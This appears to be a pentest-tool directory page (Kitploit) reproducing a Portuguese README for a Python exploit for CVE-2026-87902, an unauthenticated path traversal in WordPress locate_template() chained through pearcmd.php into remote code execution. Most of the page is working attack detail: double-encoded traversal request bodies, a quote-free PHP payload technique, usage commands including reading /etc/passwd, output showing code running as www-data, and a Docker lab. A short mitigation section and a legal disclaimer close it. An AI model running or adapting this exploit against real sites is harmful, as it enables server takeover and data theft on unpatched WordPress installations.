Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-87902 — Python PoC exploiting CVE-2026-87902, an unauthenticated path traversal in WordPress locate_template() leading to LFI and PEAR-based RCE, with safe detection mode. | Kitploit
Tools/GitHubGitHub/crowsec-edtech/cve-2026-87902
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingRemote Access ToolPayload DevelopmentLabs & Practice
GitHubcrowsec-edtech/cve-2026-87902

CVE-2026-87902

Python PoC exploiting CVE-2026-87902, an unauthenticated path traversal in WordPress locate_template() leading to LFI and PEAR-based RCE, with safe detection mode.

21 day agoNot yet reviewed
View Repository

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-87902 — PoC: path traversal não autenticado na resolução de page-template do WordPress

Arquivo do exploit: exploit_locate_template_rce.py — Python 3.6+ (stdlib only).

Pipeline em um único comando: detecção segura (diferencial de LFI, sem escrita) →, se vulnerável, RCE via gadget pearcmd.php executando o comando da sua escolha (--command/-c). Use --validate-only para parar antes do estágio de escrita.

Testa o CVE-2026-87902 em versões do WordPress sem o fix do commit 5fde0bb7 — "Themes: Restrict path traversal in locate_template()" (WordPress 7.1.2, backports até 4.7.37).

CVECVE-2026-87902 (CWE-98, CVSS 4.0 9.2 Critical / v3.1 8.1 High)
AdvisoryGHSA-7hp8-65ch-5whp
AfetadasWordPress 4.7.0 – 7.1.1 (todas as branches)
Fix7.1.2, 7.0.6, 6.9.9 … 4.7.37
Fix commit5fde0bb7b9775523959094bf280cc54bfa78af51 (merge do changeset 63792)
Arquivoswp-includes/template.php (get_page_template(), locate_template(), _wp_is_template_path_allowed())
AutenticaçãoNenhuma — nenhum usuário, cookie, nonce ou plugin
CréditosDescoberta e disclosure: Robert Ressl

⚠️ Somente para teste autorizado. Use em ambientes que você controla (o lab abaixo é isolado) ou com autorização explícita do proprietário.


1. A vulnerabilidade

Em versões sem o fix, o encadeamento get_page_template() → locate_template() → template-loader nunca garante que o template selecionado permanece dentro do tema.

Pré-fix (wp-includes/template.php):

root@kitploit:~
// get_page_template(): decode TARDE, sem validate_file()
$pagename_decoded = urldecode( $pagename );
if ( $pagename_decoded !== $pagename ) {
    $templates[] = "page-{$pagename_decoded}.php";
}

// locate_template(): só testa existência — nenhum confinamento de caminho
if ( file_exists( $wp_stylesheet_path . '/' . $template_name ) ) {
    $located = $wp_stylesheet_path . '/' . $template_name;
    break;
}

Pós-fix (commit 5fde0bb7):

root@kitploit:~
if ( $pagename_decoded !== $pagename && 0 === validate_file( $pagename_decoded ) ) { ... }
...
if ( _wp_is_template_path_allowed( $candidate ) ) {   // realpath + confinamento
    $located = $candidate;                            // dentro de tema/parent/theme-compat
    break;
}

Cadeia de exploração (código do repositório)

  1. pagename e page_id são query vars públicas — aceitas no body de um POST anônimo. O método POST faz redirect_canonical() (canonical.php) retornar cedo — ele só age em GET/HEAD, então nada é redirecionado.
  2. O traversal é duplo-codificado (templates%252f%252e%252e%252f...) e sobrevive ao sanitize: WP_Query::get_posts() (l.2191) reescreve o pagename com sanitize_title_for_query( wp_basename( ... ) ) — wp_basename() não quebra em %2F (formatting.php l.5768) e o sanitize preserva octetos %XX (l.2395).
  3. page_id (l.2252) sobrescreve o WHERE ("$where =", não ".=") — a página real é carregada, sem 404, e o pagename malicioso permanece no objeto de query.
  4. get_page_template() faz urldecode() tardio e monta page-<traversal>.php sem validate_file().
  5. locate_template() pré-patch só chama file_exists() → o include escapa do tema.

Precondições

#PrecondiçãoMotivo
1Página publicada, acessível anonimamente, selecionável por page_id e sem custom templateA requisição precisa resolver para uma Page; template custom viria antes na hierarquia
2Diretório top-level no tema ativo (child ou parent) iniciando com page- (ex.: page-templates/)O WP antepõe o prefixo fixo page-; é por ele que o traversal entra. Basta existir e ser traversável (pode ser vazio). Presente em Twenty Twelve/Fourteen, Neve, Hestia, Sydney
3Alvo .php local existente e legívelO loader apende .php e checa is_file()/is_readable()
4(só p/ RCE) pearcmd.php legível + register_argc_argv=On + diretório gravável (ex.: /tmp)Rota PEAR→RCE: config-create grava o payload PHP no servidor

2. O que o script faz

Estágio 1 — detecção segura (sempre roda primeiro)

Três POSTs anônimos contra a página publicada — sem escrita em disco:

RequisiçãopagenameResposta esperada (vulnerável)
A — baseline—200, corpo normal (~23 KB)
B — controletraversal → arquivo inexistente200, corpo normal (fallback page.php)
C — probetraversal → wp-content/index.php ("Silence is golden")200 com corpo vazio

Assinatura: C vazio + A/B normais ⇒ o include escapou do tema ⇒ VULNERÁVEL. A detecção varre automaticamente: diretórios de tema candidatos (page-templates, page-template) × profundidades 1–12. O resultado (theme-dir + depth) alimenta o estágio RCE.

Com --validate-only o script para aqui (exit 0 se vulnerável).

Estágio 2 — RCE via pearcmd.php (escrita)

root@kitploit:~
Estágio 1  POST /?+config-create+/<payload>+/tmp/wp-pear-rce.php
           body: page_id=2&pagename=templates%252f...%252fusr%252flocal%252flib%252fphp%252fpearcmd
           → o traversal inclui /usr/local/lib/php/pearcmd.php
           → argv vem da query string crua (register_argc_argv=On)
           → config-create GRAVA o payload em /tmp/wp-pear-rce.php (12 cópias serializadas)

Estágio 2  POST /  body: page_id=2&pagename=templates%252f...%252ftmp%252fwp-pear-rce
           → o mesmo traversal inclui o arquivo gerado → system(<--command>) roda como www-data

Detalhes do formato (todas as restrições são tratadas pelo script):

  • POST, não GET: body carrega page_id + pagename; a query string carrega exclusivamente o argv do PEAR (?+config-create+<root>+<out>).
  • Payload sem nenhuma aspa: wp_magic_quotes() (load.php l.1290) aplica add_magic_quotes($_SERVER) e o pearcmd lê o argv de $_SERVER['argv'] — qualquer aspa viraria \' e quebraria o arquivo gerado. Todo string PHP vira concatenação chr(): '/tmp' → chr(47).chr(116).chr(109).chr(112).
  • Request target byte-exato (http.client): os bytes crus +, <, > da query string são o argv — nada pode ser re-escrito/re-codificado no caminho.
  • config-create exige root path absoluto — o payload é injetado como o próprio root (/<php>), prefixado com o marcador ___WP_RCE_OK___ que delimita a saída.
  • O RCE tenta depths a partir do detectado (ordem interna 7, 6, 8, 5, …) e vários caminhos de pearcmd.php (Docker oficial, Debian/Ubuntu, XAMPP) — ajuste com --pear-path/--output se necessário.

Não há "upload": o alvo da detecção é um arquivo que todo WordPress traz de fábrica (wp-content/index.php); o payload do RCE é gravado pelo próprio servidor via gadget PEAR, rodando como www-data.


3. Uso

root@kitploit:~
# 1) Só validar a vulnerabilidade (LFI probe, sem escrita)
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 --validate-only

# 2) Detecção + RCE executando um comando (default: 'id')
python exploit_locate_template_rce.py --url http://127.0.0.1:8080
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 --command "id"
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 -c "uname -a; cat /etc/passwd"

# Combinações úteis
python exploit_locate_template_rce.py -u https://alvo --page-id 2 --theme-dir page-templates
python exploit_locate_template_rce.py -u http://127.0.0.1:8080 -c "whoami" --depth 7 --verbose

Parâmetros

ParâmetroDefaultDescrição
--url, -u(obrigatório)URL base do WordPress
--command, -cidComando shell executado no alvo (ignorado com --validate-only)
--validate-onlyoffApenas valida a vulnerabilidade (LFI, para antes do RCE/escrita)
--page-idauto (REST, fallback probe)ID de página publicada sem custom template
--theme-dirtenta page-templates, page-templateDiretório top-level do tema iniciando com page-
--probe-targetindexAlvo do probe de detecção, sem .php (index → wp-content/index.php)
--depth0 (varre 1–12)Nº de segmentos ../
--pear-pathtenta lista internapearcmd.php do estágio RCE, sem .php (Docker, Debian, XAMPP)
--output/tmp/wp-pear-rceDestino gravável do payload do PEAR, sem .php
--timeout20Timeout por requisição (s)
--insecureoffNão verificar certificado TLS
--verboseoffSaída detalhada por tentativa

Saída esperada no lab

root@kitploit:~
[*] alvo          : http://127.0.0.1:8080
[*] comando       : 'id'
[*] versão WP     : 7.1.1  (<= 7.1.1 => potencialmente afetada)
[*] page id       : 2 (sample-page, via /index.php?rest_route=/wp/v2/pages...)
[*] modo          : detecção segura (wp-content/index.php, sem escrita)
[+] theme dir     : page-templates
[+] depth          : 3
[+] traversal      : page-templates/../../../index.php
[+] VULNERÁVEL     : CVE-2026-87902 (fix 5fde0bb ausente)
[*] modo          : RCE (2 estágios via pearcmd.php)
[+] theme dir     : page-templates
[+] depth          : 7
[+] pearcmd        : /usr/local/lib/php/pearcmd.php
[+] payload file   : /tmp/wp-pear-rce.php (gravado pelo PEAR no estágio 1)
[+] comando        : 'id'
[+] saída          :
    | uid=33(www-data) gid=33(www-data) groups=33(www-data)
[+] EXPLOIT BEM-SUCEDIDO — PHP executado como a conta web

Códigos de saída: 0 = validado/RCE com sucesso · 1 = não confirmado/falhou · 2 = erro (ex.: nenhuma página publicada encontrada). Serve como check de regressão: em WordPress ≥ 7.1.2 o probe nunca fica vazio e retorna 1.


4. Lab (Docker)

Lab usado: docker-compose.yml.

root@kitploit:~
services:
  db:
    image: mariadb:11
    restart: always
    environment:
      MYSQL_DATABASE: wordpress
      MYSQL_USER: wp_user
      MYSQL_PASSWORD: wp_pass
      MYSQL_ROOT_PASSWORD: root_pass
    volumes:
      - db_data:/var/lib/mysql

  wordpress:
    image: wordpress:7.1.1-php8.3-apache   # PINADA — a rolling baixa 7.1.2+ (patcheada!)
    depends_on:
      - db
    restart: always
    ports:
      - "8080:80"
    environment:
      WORDPRESS_DB_HOST: db:3306
      WORDPRESS_DB_USER: wp_user
      WORDPRESS_DB_PASSWORD: wp_pass
      WORDPRESS_DB_NAME: wordpress
    volumes:
      - wp_data:/var/www/html
      # fixture: diretório top-level "page-*" no tema (precondição #2). Pode ser vazio.
      - ./page-templates:/var/www/html/wp-content/themes/twentytwentyfive/page-templates

volumes:
  db_data:
  wp_data:
root@kitploit:~
docker compose up -d

# Instalar o WordPress (wizard em http://localhost:8080 OU via wp-cli):
docker run --rm --network wordpress-exploit_default -v wordpress-exploit_wp_data:/var/www/html `
  -e WORDPRESS_DB_HOST=db:3306 -e WORDPRESS_DB_USER=wp_user -e WORDPRESS_DB_PASSWORD=wp_pass `
  -e WORDPRESS_DB_NAME=wordpress `
  wordpress:cli wp core install --url=http://localhost:8080 --title="Lab" `
  --admin_user=admin --admin_password=adminadmin [email protected] --skip-email

# Rodar
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 --validate-only --verbose
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 -c "id"

# Teardown
docker compose down -v

Por que cada peça importa:

  • 7.1.1-php8.3: precisa estar < 7.1.2 e php8.3 — no PHP 8.5, register_argc_argv fica default Off em SAPI HTTP e o PEAR saiu da distribuição, então o estágio RCE não funciona (a detecção LFI funciona).
  • Tag rolling = armadilha: wordpress:php8.3-apache hoje baixa 7.1.2+ (patcheada) e o exploit falha corretamente.
  • Trocar a imagem não rebaixa: o volume wp_data persiste o core; mudar o tag exige docker compose down -v para o entrypoint recopiar os arquivos da nova imagem.
  • page-templates/ (fixture): temas default (Twenty Twenty-*) não têm diretório page-* — sem ele o prefixo fixo page- nunca resolve e nenhum depth funciona. Alternativa ao bind mount: command: > com sh -c "mkdir -p .../page-templates && exec apache2-foreground".
  • register_argc_argv=On: a imagem oficial não carrega php.ini web, então vale o default compilado (On no php8.3). Confira: docker exec <c> php -i | grep argc.
  • Depths do lab: detecção acerta no 3 (page-templates/ → 3×.. → wp-content/); PEAR acerta no 7 (→ / → /usr/local/lib/php/pearcmd.php).

5. Limitações e nota para defensores

  • Resultado negativo é inconclusivo (tema sem page-*, page com custom template, open_basedir, WAF/proxy bloqueando o traversal, page_id inválida).
  • O probe vazio pode ser imitado por WAF que responda 200 vazio — confirme com logs.
  • Mitigações: atualizar para 7.1.2+ (ou backport da branch); register_argc_argv=Off para SAPIs web; remover pearcmd.php legível em produção; auditar temas por diretórios page-* top-level; alertar em logs por pagename com %252f/%252e (duplo-codificado).
  • O PEAR é só uma rota de inclusão→execução; qualquer .php legível e útil pode ser alvo do LFI (detecção via --probe-target).

6. Referências

  • Advisory: https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-7hp8-65ch-5whp
  • Fix (branch 7.1): commit 5fde0bb7b9775523959094bf280cc54bfa78af51 — changeset 63792
  • Write-up e PoC do descobridor: https://ressl.ch/blog/cve-2026-87902-wordpress/ · https://github.com/ressl/cve-2026-87902-poc
  • Detecção diferencial (Hadrian): https://hadrian.io/vulnerability-alerts/cve-2026-87902-working-poc-wordpress-critical-path-traversal
  • WordPress 7.1.2: https://wordpress.org/news/

Aviso legal

Este material é fornecido apenas para pesquisa e testes autorizados de segurança. O uso contra sistemas sem permissão explícita do proprietário é ilegal. O exploit foi desenvolvido e verificado exclusivamente em laboratório local isolado.

Download Tool